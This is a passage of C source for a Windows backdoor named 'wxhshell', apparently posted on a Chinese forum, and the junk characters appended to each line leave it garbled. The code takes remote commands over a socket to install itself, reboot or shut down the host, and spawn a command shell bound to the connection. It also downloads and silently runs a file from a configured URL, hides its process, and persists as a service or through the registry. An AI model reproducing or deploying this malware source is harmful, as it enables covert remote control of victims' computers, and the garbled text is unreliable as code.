  case '?': { wx BQ#OE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^o,Hu#  
    break; eI; %/6#  
  }  gvYa&N  
  // 安装 $ w:QJ~,s  
  case 'i': { #z-6mRB  
    if(Install()) Fe%Q8RIh_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aePhtQF  
    else %JBp~"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_|~G|Z  
    break; /"tVOv#  
    } $}2m%$vJO  
  // 卸载 o5mt7/5[i  
  case 'r': { .?CDWbzq  
    if(Uninstall()) -#j-Zo+<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =G;whd}]  
    else 1\{0z3P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' wvZnb  
    break; 1wuLw Ad  
    } 1C^6'9o  
  // 显示 wxhshell 所在路径 'CjcOI s  
  case 'p': { tn+i5Eso  
    char svExeFile[MAX_PATH]; A5z`_b4f  
    strcpy(svExeFile,"\n\r"); K=M5d^K<E  
      strcat(svExeFile,ExeFile); NtkEb :  
        send(wsh,svExeFile,strlen(svExeFile),0); .<^dv?@  
    break; ,'m<um  
    } oOBN  
  // 重启 lLxKC7b  
  case 'b': { cgc| G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~EW (2B{u  
    if(Boot(REBOOT)) + B%fp*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nYY@+%` ]z  
    else { \gki!!HQ  
    closesocket(wsh); Nj*J~&6G  
    ExitThread(0); 3X89mIDr  
    } &Ph@uZ\  
    break; B-|:l 7  
    } 0Q_AF`"  
  // 关机 ;:vbOG#aSN  
  case 'd': { ^O6PZm5J}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $d{{><  
    if(Boot(SHUTDOWN)) ;VeC(^-eh6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,xuqQ;JX  
    else { uXxyw7\W  
    closesocket(wsh); ^F5[2<O/!  
    ExitThread(0); aRdk^|}  
    } #,Fk  
    break; f}Eoc>n  
    } i|*(vH&D.  
  // 获取shell |s+[489g'6  
  case 's': { LtJ$ZE^GB  
    CmdShell(wsh); G?&0Z++  
    closesocket(wsh); jAfUz7@  
    ExitThread(0); AVGb;)x#  
    break; {1'XS,2  
  } iyc}a6g  
  // 退出 qm4 Ejc<  
  case 'x': { ;yqJEj_m(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qS*qHT(u19  
    CloseIt(wsh); 9(QY~F  
    break; \'&:6\-fw  
    } R#`hT  
  // 离开 q%bNT  
  case 'q': { `8\ _ ]w0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /P<RYA~  
    closesocket(wsh); %L=ro qz  
    WSACleanup(); _' Xt  
    exit(1); A?ma5h  
    break; u^s{r`/  
        } =&U JFu  
  } NYM$0v`0YK  
  } e!d& #ofw|  
,6~c0]/  
  // 提示信息 _]E"hr6a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0V{-5-.  
} ,u-i9`B  
  } fCJ:QK!  
s+2\uMwf*  
  return; J1cD)nM<A  
} XG@_Lcv*  
\vT0\1:|i  
// shell模块句柄 8RVNRV@g%  
int CmdShell(SOCKET sock) |F-_YR  
{ [a53H$`\5  
STARTUPINFO si; ZtlF]k:MV  
ZeroMemory(&si,sizeof(si)); 67+ K ?!,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P+:FiVj@~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &1ASWllD  
PROCESS_INFORMATION ProcessInfo; kn 5q1^  
char cmdline[]="cmd"; m4<8v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); usZmf=p-r  
  return 0; UtIwrR[  
} QzT)PtX  
;-~ Wfh+  
// 自身启动模式 ~QJD.'z  
int StartFromService(void) !sfOde)$  
{ Se9I1~mX  
typedef struct :aV(i.LW  
{ O _yJR  
  DWORD ExitStatus; KXL]Qw FN  
  DWORD PebBaseAddress; #*BcO-N  
  DWORD AffinityMask; sOa`Tk  
  DWORD BasePriority; #[ vmS  
  ULONG UniqueProcessId; r50}j  
  ULONG InheritedFromUniqueProcessId; >k<.bEx(A  
}   PROCESS_BASIC_INFORMATION; ?5K.#>{  
FTI[YR8?Y  
PROCNTQSIP NtQueryInformationProcess; 5JK{dis]k  
b7E= u0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bcg\p}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '!]ry<  
5u'"m<4  
  HANDLE             hProcess; ^Jcs0c @\  
  PROCESS_BASIC_INFORMATION pbi; y&-wb'==p  
WEFYV=I\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k|F<?:C  
  if(NULL == hInst ) return 0; BB-E"<  
7G.IGXK$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %a&Yt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IFlDw}M!9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3o9`Ko0  
/ *Z( ;-  
  if (!NtQueryInformationProcess) return 0; T3u%V_  
)TnxsFC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  0$b)@  
  if(!hProcess) return 0; {-2I^Ym 5i  
1/c7((]7(,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mg[=~&J^  
PEW^Vl-6q  
  CloseHandle(hProcess); W&q]bi@C  
` :eXXE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %k_R;/fjW  
if(hProcess==NULL) return 0; GM%%7^uE  
DDq*#;dP  
HMODULE hMod; N&K:Jp  
char procName[255]; Q9tBHz  
unsigned long cbNeeded; ~>3$Id:  
9eo$Duws  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3+@p  
`YVdIDl]  
  CloseHandle(hProcess); y-m<&{q  
6]^ShOX_Z  
if(strstr(procName,"services")) return 1; // 以服务启动 L (XGD  
y2gI]A  
  return 0; // 注册表启动 lO3$V JI  
} ZE.nB- H  
}OZ%U2PU  
// 主模块 U+CZv1  
int StartWxhshell(LPSTR lpCmdLine) C=2  
{  Iz*'  
  SOCKET wsl; |&`NB|  
BOOL val=TRUE; }]$%aMxy T  
  int port=0; AWsO? |YT  
  struct sockaddr_in door; qX^#fk7]  
N%v}$58Z  
  if(wscfg.ws_autoins) Install(); mjO4GpG3  
.xS3,O_[  
port=atoi(lpCmdLine); 0%+S@_|  
dnTB$8&  
if(port<=0) port=wscfg.ws_port; #56}RV1  
Eq c&iS~  
  WSADATA data; TCYjj:/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -lV]((I&  
G7yCGT)vQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lyNa(3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X1?7}VO  
  door.sin_family = AF_INET; =kH7   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DygMavA.  
  door.sin_port = htons(port); Q*&>Ui[&  
s%z\szd*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A&*lb7X  
closesocket(wsl); ()e.J  
return 1; +dq&9N/  
} ];i-d7C  
) (unL`y  
  if(listen(wsl,2) == INVALID_SOCKET) { fDt#<f 4;  
closesocket(wsl); :akEl7/&  
return 1; 6Qne rd%Ec  
} ukHSHsR  
  Wxhshell(wsl); pp@Jndlg  
  WSACleanup(); 4*'5EBa1  
.lAqD-  
return 0; _ +[;NBz  
dP63bV  
} NBEcx>pma  
1wP#?p)c  
// 以NT服务方式启动 h}r*   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r CU f,)  
{ k,wr6>'Vt  
DWORD   status = 0; !`"@!  
  DWORD   specificError = 0xfffffff; OF J49X  
Kq#\P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fka&\9i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QH@?.Kb_qU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "| cNY_$&s  
  serviceStatus.dwWin32ExitCode     = 0; d 4w+5H" u  
  serviceStatus.dwServiceSpecificExitCode = 0; CB_ww=  
  serviceStatus.dwCheckPoint       = 0; J}U);A  
  serviceStatus.dwWaitHint       = 0; ;#$ 67G$  
:tU&d(8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -9TNU7^  
  if (hServiceStatusHandle==0) return; \H|tc#::{  
d/5i4g[q  
status = GetLastError(); /.B7y(  
  if (status!=NO_ERROR) 0t[|3A~Q  
{ 2z+Vt_%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kDI(Y=Fg  
    serviceStatus.dwCheckPoint       = 0; X3&-kU  
    serviceStatus.dwWaitHint       = 0; {U@&hE -  
    serviceStatus.dwWin32ExitCode     = status; cdiDfiE  
    serviceStatus.dwServiceSpecificExitCode = specificError; l)tK/1 W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hr3RC+ y  
    return;  2f>G   
  } "[M,PI!B  
GcN[bH(@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Pu/X_D-#Gi  
  serviceStatus.dwCheckPoint       = 0; HwfBbWHr'  
  serviceStatus.dwWaitHint       = 0; 1bjhEO W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "P.H  
} Z Ear~  
{=mf/3.r  
// 处理NT服务事件,比如:启动、停止 K"4m)B~@Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~,[-pZ <  
{ :U;n?Zu S  
switch(fdwControl) Y~z3fd  
{ Ua0fs|t1v  
case SERVICE_CONTROL_STOP: |R[@u=7s  
  serviceStatus.dwWin32ExitCode = 0; Wy1#K)LRb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?^I\e{),c  
  serviceStatus.dwCheckPoint   = 0; #-vuY#gs  
  serviceStatus.dwWaitHint     = 0; q"BM*:W  
  { 7^1yZ1(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kg lL@V7  
  } YZ>L\  
  return; jZwv !-:  
case SERVICE_CONTROL_PAUSE: /g$cQ=c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yF2|w=!  
  break; tg =ClZ-  
case SERVICE_CONTROL_CONTINUE: Y'K+O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t8SvU  
  break; ]^aOYtKX  
case SERVICE_CONTROL_INTERROGATE: /zxLnT; 5  
  break; dJyf.VJ  
}; |NuX9!S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ueI1O/Mi  
} Su" 9`  
T%0vifoQ_$  
// 标准应用程序主函数 o[Ojl .r<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I ACpUB  
{ V9aGo#  
eh4`a<gC  
// 获取操作系统版本 \"r84@<  
OsIsNt=GetOsVer(); D1w;cV7/d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lO^Ly27  
y[QQopy4:  
  // 从命令行安装 NQB a+N  
  if(strpbrk(lpCmdLine,"iI")) Install(); W)F<<B,  
f};lH[B3y  
  // 下载执行文件 > mI1wV[  
if(wscfg.ws_downexe) { dL{zU4iUR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7b>FqW)%  
  WinExec(wscfg.ws_filenam,SW_HIDE); aC$-riP,?'  
} Y]>!uwn  
4}0DEH.Vx  
if(!OsIsNt) { U|tUX)9O  
// 如果时win9x,隐藏进程并且设置为注册表启动 aqL#g18  
HideProc(); 3JhT  
StartWxhshell(lpCmdLine); f@JMDJ  
} UqVcN$^b  
else GM]" $  
  if(StartFromService()) %Xe#'qNq)  
  // 以服务方式启动 73/DOF  
  StartServiceCtrlDispatcher(DispatchTable); FXLY*eRk  
else TpnJm%9`)t  
  // 普通方式启动 </xz V<Pi  
  StartWxhshell(lpCmdLine); K|n%8hRy  
jhRg47A  
return 0; R#"LP7\  
}
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只看该作者 1 发表于: 2006-10-10
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